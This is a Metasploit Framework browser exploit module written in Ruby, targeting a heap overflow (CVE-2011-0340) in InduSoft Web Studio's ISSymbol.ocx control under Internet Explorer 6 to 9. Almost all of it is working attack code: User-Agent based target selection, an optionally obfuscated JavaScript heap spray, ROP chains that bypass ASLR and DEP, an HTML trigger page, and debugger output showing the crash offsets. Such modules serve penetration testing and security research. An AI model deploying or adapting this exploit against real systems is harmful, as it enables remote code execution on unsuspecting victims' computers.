## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking, :classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}", :method => "InternationalSeparator" }) def initialize(info={}) super(update_info(info, 'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", 'Description' => %q{ This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00 SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long string argument for the InternationalSeparator() method of the ISSymbol control. This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', # Vulnerability discovery 'Dmitriy Pletnev', # Vulnerability discovery 'James Fitts', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-0340' ], [ 'OSVDB', '72865' ], [ 'BID', '47596' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ], [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ] ], 'Payload' => { 'Space' => 934, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 28 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. if t['Rop'].nil? prepend = [ 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c28 # Will finally become EIP ].pack("V*") return prepend + code end # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") stack_pivot = [ 0x0c0c0c0c, # ret from msvcrt.dll 0x77c15ed6, # ret from msvcrt.dll 0x77c15ed6, # ret from msvcrt.dll 0x77c15ed6, # ret from msvcrt.dll 0x77c15ed6, # ret from msvcrt.dll 0x77c1f519, # pop # ret from msvcrt.dll 0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll ].pack("V*") rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) else print_status("Using JRE ROP") stack_pivot = [ 0x0c0c0c0c, # ret from msvcr71.dll 0x7c376fff, # ret from msvcr71.dll 0x7c376fff, # ret from msvcr71.dll 0x7c376fff, # ret from msvcr71.dll 0x7c376fff, # ret from msvcr71.dll 0x7c376ffe, # pop # ret from msvcr71.dll 0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) # ActiveX parameters clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f" name = rand_text_alpha(rand(50) + 1 ) boom = Rex::Text.to_unescape("\x0c" * 6888) html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:#{clsid}' id='#{name}'></object> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script language='javascript'> #{name}.InternationalSeparator(unescape("#{boom}")); </script> </body></html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796 eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 ISSymbol!DllUnregisterServer+0xc9e2: 100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=???????? 0:000> u eip ISSymbol!DllUnregisterServer+0xc9e2: 100127d2 8b01 mov eax,dword ptr [ecx] 100127d4 8b5018 mov edx,dword ptr [eax+18h] 100127d7 ffe2 jmp edx 100127d9 cc int 3 100127da cc int 3 100127db cc int 3 100127dc cc int 3 100127dd cc int 3 * ebx $ ruby pattern_offset.rb 41306941 6888 [*] Exact match at offset 240 * ecx $ ruby pattern_offset.rb 336b4632 6888 [*] Exact match at offset 4208 =end